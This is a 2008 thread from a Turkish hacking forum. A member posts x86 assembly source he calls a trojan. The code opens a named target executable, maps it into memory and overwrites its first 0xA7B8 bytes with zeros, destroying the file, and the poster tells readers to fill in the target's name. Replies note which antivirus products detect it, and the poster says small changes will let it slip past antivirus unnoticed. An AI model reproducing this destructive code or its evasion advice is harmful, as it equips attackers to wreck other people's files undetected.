bi truva koduda benden - Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi

lck_can · **bi truva koduda benden -** 10-13-2008

.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib

.data
@szTargetFileName db ‘Target.exe’,0
@hTargetFile dd ?
@hTargetFileMap dd ?
@lpTargetFile dd ?

FILE_REPLACE_OFFSET equ 00000H
FILE_REPLACE_SIZE equ 0A7B8H

.code
assume fs:nothing
start:
invoke CreateFile,addr @szTargetFileName,GENERIC_READ or GENERIC_WRITE,\
FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NOR MAL,0
.if eax!=INVALID_HANDLE_VALUE
mov @hTargetFile,eax
.else
jmp _End
.endif

invoke CreateFileMapping,@hTargetFile,NULL,PAGE_READWRITE ,0,0,NULL
.if eax
mov @hTargetFileMap,eax
invoke MapViewOfFile,@hTargetFileMap,FILE_MAP_WRITE,0,0,0
.if eax
mov @lpTargetFile,eax
jmp _Replace
.endif
invoke CloseHandle,@hTargetFileMap
.endif
jmp _End

_Replace:
mov eax,FILE_REPLACE_SIZE
mov ecx,@lpTargetFile
add ecx,FILE_REPLACE_OFFSET

invoke RtlZeroMemory,ecx,eax
invoke UnmapViewOfFile,@lpTargetFile
invoke CloseHandle,@hTargetFileMap
invoke CloseHandle,@hTargetFile
_End:
ret
end start

''Target file name'' yazan yere hedef dos.. yazmanız yeterli

hotchick · 10-13-2008

saolasın kardeş

reXus35 · 10-14-2008

nod ve avast hariç hepsi yakalıyor

lck_can · 10-14-2008

Alıntı:

reXus35´isimli üyeden Alıntı

nod ve avast hariç hepsi yakalıyor

haha biras akılı davranırsan mutlaka antilere yakalanmadan!! içeri giresin

bunu yazıp yllarsan yakalanma ihtimalin çok ama bi kaç küçük değişiklikle yola devam şansın yüksek..hehehehehe

Konu Bilgileri
	Konu Başlığı bi truva koduda benden	Konudaki Cevap Sayısı 3
	Şuan Bu Konuyu Görüntüleyenler	Görüntülenme Sayısı 0

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder
Stil
Normal Hybrid-Şeklinde gösterime geç Ağaç şeklinde gösterime geç

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)